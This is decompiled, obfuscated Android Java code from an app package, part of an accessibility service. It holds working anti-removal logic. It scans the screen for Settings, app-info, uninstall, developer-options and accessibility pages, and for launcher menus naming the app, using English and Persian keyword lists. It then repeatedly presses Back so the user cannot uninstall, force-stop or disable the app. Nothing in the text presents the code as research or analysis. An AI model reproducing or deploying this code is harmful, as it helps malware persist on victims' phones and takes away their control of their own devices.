package o;

import android.app.AlertDialog;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.os.Looper;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import ir.devixor.app.accessibilityservice.AccessibilityService;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class Mh0 {
    public AccessibilityService a;
    public AlertDialog b;
    public long c;
    public final Handler d = new Handler(Looper.getMainLooper());
    public boolean e;
    public long f;
    public long g;

    public static boolean c(AccessibilityNodeInfo accessibilityNodeInfo, List list) {
        try {
            Iterator it = list.iterator();
            while (it.hasNext()) {
                if (!accessibilityNodeInfo.findAccessibilityNodeInfosByText((String) it.next()).isEmpty()) {
                    return true;
                }
            }
            return false;
        } catch (Exception unused) {
            return false;
        }
    }

    public static boolean d(AccessibilityNodeInfo accessibilityNodeInfo, String str, String str2) {
        try {
            if (accessibilityNodeInfo.findAccessibilityNodeInfosByText(str).isEmpty()) {
                return !accessibilityNodeInfo.findAccessibilityNodeInfosByText(str2).isEmpty();
            }
            return true;
        } catch (Exception unused) {
            return false;
        }
    }

    public static void e(int i) {
        try {
            AccessibilityService accessibilityService = AccessibilityService.r;
            for (int i2 = 0; i2 < i; i2++) {
                if (accessibilityService != null) {
                    accessibilityService.performGlobalAction(1);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static boolean f(AccessibilityNodeInfo accessibilityNodeInfo, String str) {
        if (Za0.P(str, "AccessibilitySettings", true) || Za0.P(str, "Accessibility", true)) {
            return c(accessibilityNodeInfo, AbstractC0008Ai.S("accessibility", "accessibility services", "downloaded services", "installed services", "screen readers", "talkback", "switch access", "voice access", "hearing aids", "دسترسی پذیری", "دسترسی\u200cپذیری", "قابلیت دسترسی", "سرویس های دسترسی پذیری", "سرویس\u200cهای دسترسی\u200cپذیری", "سرویس های دانلود شده", "سرویس\u200cهای نصب شده"));
        }
        return false;
    }

    public static boolean g(AccessibilityNodeInfo accessibilityNodeInfo, String str) {
        if (Za0.P(str, "DevelopmentSettings", true) || Za0.P(str, "DeveloperOptions", true)) {
            return true;
        }
        return c(accessibilityNodeInfo, AbstractC0008Ai.S("developer options", "developer settings", "development settings", "usb debugging", "stay awake", "show taps", "pointer location", "debug", "developer mode", "build number", "developer", "show layout bounds", "force gpu", "window animation scale", "transition animation scale", "animator duration scale", "profile gpu rendering", "hardware acceleration", "show cpu usage", "strict mode", "background process limit", "گزینه های توسعه دهنده", "گزینه\u200cهای توسعه\u200cدهنده", "گزینه های توسعه\u200cدهنده", "تنظیمات توسعه دهنده", "تنظیمات توسعه\u200cدهنده", "گزینه های برنامه نویس", "گزینه\u200cهای برنامه\u200cنویس", "تنظیمات برنامه نویس", "گزینه تهیه کننده", "اشکال زدایی", "اشکال\u200cزدایی", "اشکال زدایی یو اس بی", "اشکال\u200cزدایی USB", "بیدار ماندن", "نمایش لمس", "نمایش ضربه ها", "موقعیت اشاره گر", "برنامه نویس", "توسعه دهنده", "حالت توسعه دهنده", "شماره ساخت"));
    }

    public static boolean h(AccessibilityNodeInfo accessibilityNodeInfo, String str, String str2) {
        if (d(accessibilityNodeInfo, str, str2)) {
            return c(accessibilityNodeInfo, AbstractC0008Ai.S("app info", "application info", "app details", "application details", "force stop", "force close", "uninstall", "disable", "storage", "storage usage", "permissions", "app permissions", "notifications", "notification settings", "battery", "battery usage", "data usage", "mobile data", "open by default", "set as default", "clear data", "clear cache", "clear defaults", "اطلاعات برنامه", "اطلاعات اپلیکیشن", "جزئیات برنامه", "جزئیات اپلیکیشن", "توقف اجباری", "توقف", "متوقف کردن", "حذف", "حذف نصب", "غیرفعال", "حافظه", "فضای ذخیره سازی", "مجوزها", "مجوز ها", "دسترسی ها", "اعلان", "اعلان ها", "اطلاع رسانی", "باتری", "مصرف باتری", "مصرف داده", "داده موبایل", "باز کردن پیش فرض", "پیش\u200cفرض", "پاک کردن داده", "پاک کردن حافظه", "حذف داده"));
        }
        return false;
    }

    public static boolean i(AccessibilityNodeInfo accessibilityNodeInfo, String str, String str2) {
        CharSequence className;
        if (!d(accessibilityNodeInfo, str, str2)) {
            return false;
        }
        List listS = AbstractC0008Ai.S("uninstall", "ok", "delete", "remove", "yes", "confirm", "حذف", "حذف نصب", "پاک کردن", "تایید", "بله", "باشه");
        ArrayList arrayList = new ArrayList();
        try {
            Iterator it = listS.iterator();
            while (it.hasNext()) {
                List<AccessibilityNodeInfo> listFindAccessibilityNodeInfosByText = accessibilityNodeInfo.findAccessibilityNodeInfosByText((String) it.next());
                ArrayList arrayList2 = new ArrayList();
                for (Object obj : listFindAccessibilityNodeInfosByText) {
                    AccessibilityNodeInfo accessibilityNodeInfo2 = (AccessibilityNodeInfo) obj;
                    if (accessibilityNodeInfo2.isClickable() || ((className = accessibilityNodeInfo2.getClassName()) != null && Za0.P(className, "Button", false))) {
                        arrayList2.add(obj);
                    }
                }
                arrayList.addAll(arrayList2);
            }
        } catch (Exception unused) {
        }
        return !arrayList.isEmpty();
    }

    public final void a() {
        long jCurrentTimeMillis = System.currentTimeMillis();
        if (jCurrentTimeMillis - this.c < 800) {
            return;
        }
        this.c = jCurrentTimeMillis;
        this.e = true;
        e(3);
        this.d.postDelayed(new RunnableC2108p1(23, this), 300L);
    }

    public final String b() throws PackageManager.NameNotFoundException {
        try {
            AccessibilityService accessibilityService = this.a;
            AccessibilityService accessibilityService2 = null;
            if (accessibilityService == null) {
                accessibilityService = null;
            }
            PackageManager packageManager = accessibilityService.getPackageManager();
            AccessibilityService accessibilityService3 = this.a;
            if (accessibilityService3 == null) {
                accessibilityService3 = null;
            }
            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(accessibilityService3.getPackageName(), 0);
            AccessibilityService accessibilityService4 = this.a;
            if (accessibilityService4 != null) {
                accessibilityService2 = accessibilityService4;
            }
            return accessibilityService2.getPackageManager().getApplicationLabel(applicationInfo).toString();
        } catch (Exception unused) {
            return "Protected App";
        }
    }

    public final void j(AccessibilityEvent accessibilityEvent) {
        String string;
        String string2;
        AccessibilityNodeInfo source;
        String string3;
        String string4;
        if (accessibilityEvent != null) {
            CharSequence packageName = accessibilityEvent.getPackageName();
            String str = "";
            String str2 = (packageName == null || (string4 = packageName.toString()) == null) ? "" : string4;
            CharSequence className = accessibilityEvent.getClassName();
            String str3 = (className == null || (string3 = className.toString()) == null) ? "" : string3;
            int eventType = accessibilityEvent.getEventType();
            AccessibilityService accessibilityService = null;
            try {
                if (eventType == 2) {
                    long jCurrentTimeMillis = System.currentTimeMillis();
                    if (jCurrentTimeMillis - this.f < 500) {
                        return;
                    }
                    try {
                        AccessibilityNodeInfo source2 = accessibilityEvent.getSource();
                        if (source2 == null) {
                            return;
                        }
                        String strB = b();
                        AccessibilityService accessibilityService2 = this.a;
                        if (accessibilityService2 != null) {
                            accessibilityService = accessibilityService2;
                        }
                        accessibilityService.getPackageName();
                        CharSequence text = source2.getText();
                        if (text == null || (string = text.toString()) == null) {
                            string = "";
                        }
                        CharSequence contentDescription = source2.getContentDescription();
                        if (contentDescription != null && (string2 = contentDescription.toString()) != null) {
                            str = string2;
                        }
                        if (string.equalsIgnoreCase(strB) || str.equalsIgnoreCase(strB)) {
                            this.f = jCurrentTimeMillis;
                            e(2);
                            return;
                        }
                        return;
                    } catch (Exception e) {
                        e.printStackTrace();
                        return;
                    }
                }
                if (eventType == 32 || eventType == 2048) {
                    if (Za0.P(str2, "launcher", true) || Za0.P(str2, "trebuchet", true) || Za0.P(str2, "pixel", true) || Za0.P(str2, "miui.home", true) || Za0.P(str2, "touchwiz", true) || Za0.P(str2, "seclauncher", true) || Za0.P(str2, "coloros", true) || Za0.P(str2, "oneplus", true) || Za0.P(str2, "oppo", true) || Za0.P(str2, "huawei", true)) {
                        long jCurrentTimeMillis2 = System.currentTimeMillis();
                        if (jCurrentTimeMillis2 - this.g >= 500) {
                            try {
                                AccessibilityNodeInfo source3 = accessibilityEvent.getSource();
                                if (source3 != null) {
                                    String strB2 = b();
                                    AccessibilityService accessibilityService3 = this.a;
                                    if (accessibilityService3 == null) {
                                        accessibilityService3 = null;
                                    }
                                    if (d(source3, strB2, accessibilityService3.getPackageName()) && c(source3, AbstractC0008Ai.S("pause", "app info", "uninstall", "remove", "delete", "app details", "application info", "widget", "shortcuts", "توقف", "متوقف", "اطلاعات", "حذف", "پاک", "جزئیات"))) {
                                        this.g = jCurrentTimeMillis2;
                                        e(2);
                                    }
                                }
                            } catch (Exception e2) {
                                e2.printStackTrace();
                            }
                        }
                    }
                    if ((!Za0.P(str2, "settings", true) && !Za0.P(str2, "packageinstaller", true) && !Za0.P(str3, "Settings", true) && !Za0.P(str3, "PackageInstaller", true) && !Za0.P(str3, "AppInfo", true) && !Za0.P(str3, "DevelopmentSettings", true) && !Za0.P(str3, "AccessibilitySettings", true)) || (source = accessibilityEvent.getSource()) == null || this.e) {
                        return;
                    }
                    try {
                        try {
                            String strB3 = b();
                            AccessibilityService accessibilityService4 = this.a;
                            if (accessibilityService4 != null) {
                                accessibilityService = accessibilityService4;
                            }
                            String packageName2 = accessibilityService.getPackageName();
                            if (g(source, str3)) {
                                e(2);
                            } else if (f(source, str3) || h(source, strB3, packageName2)) {
                                e(1);
                            } else if (i(source, strB3, packageName2)) {
                                a();
                            }
                        } catch (Exception e3) {
                            e3.printStackTrace();
                        }
                        source.recycle();
                    } catch (Throwable th) {
                        try {
                            source.recycle();
                        } catch (Exception unused) {
                        }
                        throw th;
                    }
                }
            } catch (Exception unused2) {
            }
        }
    }
}
